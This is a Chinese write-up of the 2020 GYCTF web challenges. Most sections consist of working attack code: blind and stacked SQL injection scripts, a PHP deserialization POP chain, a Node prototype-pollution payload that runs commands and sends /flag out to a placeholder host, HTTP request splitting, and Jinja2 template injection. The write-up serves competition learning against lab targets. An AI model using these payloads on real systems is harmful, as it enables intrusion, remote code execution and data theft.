2020 GYCTF Web

学习到了一点新知识

easysqli_copy

本题漏洞比较明显,PDO 支持堆叠注入,然后用十六进制绕过 check。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string
import binascii
import urllib.parse
import threading

url = "http://4efaa4d7badc406b9b50ecab0c36eaeb13b1c0c4b1b14e55.changame.ichunqiu.com/"
flag = ""
index = 1
chset = string.printable

session = requests.Session()

# dbname = pdotest
# tbname = table1
# clname = balabala,eihey,fllllll4g,bbb

flag = ''
index = 1

while True:

l = 0
r = 127
m = (l+r)//2

while l<r:
# print("[*] try: {}".format(chr(m)))
payload = "select if(ascii(mid((select fllllll4g from table1),{},1))>{},sleep(3),1)".format(index,m)
payload = binascii.b2a_hex(payload.encode()).decode()
payload = "1"+urllib.parse.unquote("%df")+"';set @a=0x{};prepare cmd from @a;execute cmd;".format(payload)

paramsGet = {"id":payload}
try:
res = session.get(url, params=paramsGet, timeout=2)
r = m
m = (l+r)//2
except Exception as e:
l = m + 1
m = (l+r)//2

flag += chr(m)
print("[+] flag: {}".format(flag))
index += 1

blacklist

改自 2019 qwb 随便注,过滤了 set、prepare 等,随便搜搜发现是 2019 fudanctf 原题

https://www.4hou.com/posts/mM60

采用的是 mysql handler 的新特性 handler

1
https://dev.mysql.com/doc/refman/8.0/en/handler.html

payload

1
2
3
4
1. 获取表名
;show tables;#
2. 读表
';handler FlagHere open; handler FlagHere read first;

ezExpress

考察 toUpperCase() 漏洞和原型链污染,这个原型链污染十分的明显,直接看到未定义变量 outputFunctionName,看到了 merge 函数的触发点

payload

1
2
3
4
1. 注册账号
admın:123
2. 原型污染 application/json
{"__proto__":{"outputFunctionName": "test\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('ping http://xxxxx/$(cat /flag)');var req = require('http').request(`http://*.*.*.*/?${result}`);req.end();\n//"}}

ezupload

这个看了官方 payload 表示无法理解,当时直接随便穿个马就 getshell …大概是过滤没写好吧

babyphp

反序列化 + piapiapia 原题

pop 链比较明显,UpdateHelper__destruct() => User__toString() =>Info__call(),即可任意执行 sql 语句,然后根据下面的 safe 函数溢出 payload 构成新的序列化语句

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

参考了月亮大哥的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class User
{
public $id;
public $age='select id,password from user where username=?';
public $nickname;
}
class Info{
public $age;
public $nickname = "a";
public $CtrlCase;
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $password=2;
public $mysqli;
public $token="admin";
}
$o = new dbCtrl();
$i = new Info();
$i->CtrlCase = $o;
$u = new User();
$u->nickname = $i;
$h = new UpdateHelper();
$h->sql = $u;

$f = new Info();
$f->CtrlCase = $h;
$s = serialize($f);
$s = substr($s,47);
$len = strlen($s);
$res = "";

for($dd=0;$dd<$len;$dd++){
$res.="union";
}
$res.=$s;
echo urlencode($res);

// POST:
// age=&nickname=上面

node_game

这道题当时没完成,结束后才发现当时搭环境没有搭完整…

也是参考了 Nullcon HackIM 2020 - split second 原题,但是过滤难度下降了,payload 可以直接拿来用

赛后就在本地复现了上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: x
Content-Type: multipart/form-data; boundary=---------------------------20539204871043521200876952878
Content-Length: 222
Connection: keep-alive

-----------------------------20539204871043521200876952878
Content-Disposition: form-data; name="file"; filename="kk.pug"
Content-Type: ../template

hack

-----------------------------20539204871043521200876952878--

GET /flag HTTP/1.1
x: '''

payload = payload.replace("\n","\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)

proxy = { "http":"127.0.0.1:8080" }
requests.get("http://127.0.0.1:8081/core", params={'q':payload})

把 Nullcon HackIM 2020 - split second的 wp 直接拿过来过一下请求包就可以了

https://blog.rwx.kr/nullcon-hackim-2020-split-second/

最后上传以下代码就可以执行命令了

1
-global.process.mainModule.require('child_process').execSync('evalcmd')

easy_thinking

参考 https://paper.seebug.org/1114/ tp6 的任意写文件漏洞

写个小马后需要绕过 disable_functions

利用别人的工具 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 成功 getshell

Flaskapp

题目考察的是 模板注入 + PIN,但是当时按着 PIN 教程复现不了,好像当时是机器 id 取错了,见官方 wp

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同,对于docker机则读取/proc/self/cgroup。

然后当时自己是直接执行命令 getflag 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#conding:utf-8
import requests
import re
import base64

ec_url = 'http://123.57.212.112:10001/'
dc_url = ec_url + 'decode'
proxy = {"http":"127.0.0.1:8080"}

payload = "{% if [].__class__.__base__.__subclasses__()[127].__init__.__globals__['sys'+'tem']('ls / > /tmp/test1') %}2{% endif %}"
payload = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open"
payload += "('this_is_the_fl'+'ag.txt', 'r').read() }}{% endif %}{% endfor %}"

r1 = requests.post(url=ec_url,data={'text':payload})
# print(r1.text)
b64 = re.findall(r"结果 :(.+)",r1.text)[0].strip()
# print(b64)

r2 = requests.post(url=dc_url,data={'text':b64})
print(r2.text)
print("=============================")
result = re.findall(r"times;</button>([\d\D]*)<!DOCTYPE html>",r2.text)[0].strip()
print(result)

盲注

被这个 fl4g 坑了好久,一直在考虑暴列明,谁知道可以直接读

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

session = requests.Session()
flag = 'f'
index = 2
chset = string.printable

while True:
for ch in chset:
print("[*] now ch: {}".format(ch))
paramsGet = {"id":"if((ascii(mid(fl4g,{},1)))in({}),sleep(3),1)".format(index,ord(ch))}
r = ''
try:
r = session.get("http://8539506905a2494b837a7dfc662635f6d7f0286ceecf477f.changame.ichunqiu.com/", params=paramsGet, timeout=2)
except Exception as e:
flag += ch
index += 1
print("[+] flag: {}".format(flag))
if ch=='}':
exit()
break

简单的招聘系统

注册登陆后显示名字,盲猜二次注入,直接贴 payload

1
' or updatexml(1,concat(0x7e,(select flaaag from flag)),0) or '

easysql

搜了很久找到了 Sim1e 师傅的笔记,看到了他的无列名注入 https://www.smi1e.top/sql注入笔记/

当时直接使用字符串比较会发生奇妙的错误,需要转成十六进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import binascii
import urllib.parse
import string

url = 'http://49c9b1c145ed46acb5073a40c428c5fe070ca683e1374ccc.changame.ichunqiu.com/'

flag = ''

while True:
l = 0
r = 126
while l <= r:
m = (l+r)//2
p1 = str(binascii.hexlify((flag+chr(m)).encode()))[2:-1]
payload ='(((select 1,0x%s)<=(select * from `f1ag_1s_h3r3_hhhhh`)))'%(p1)
# print(payload)
paramsPost = {"id":payload}
res = requests.post(url, data=paramsPost)
# print(res.text)
if 'Nu1L' in res.text:
l = m + 1
else:
r = m - 1
m = (l+r+1)//2
flag += chr(m-1)
print("[+] flag: %s" % flag)

print(flag)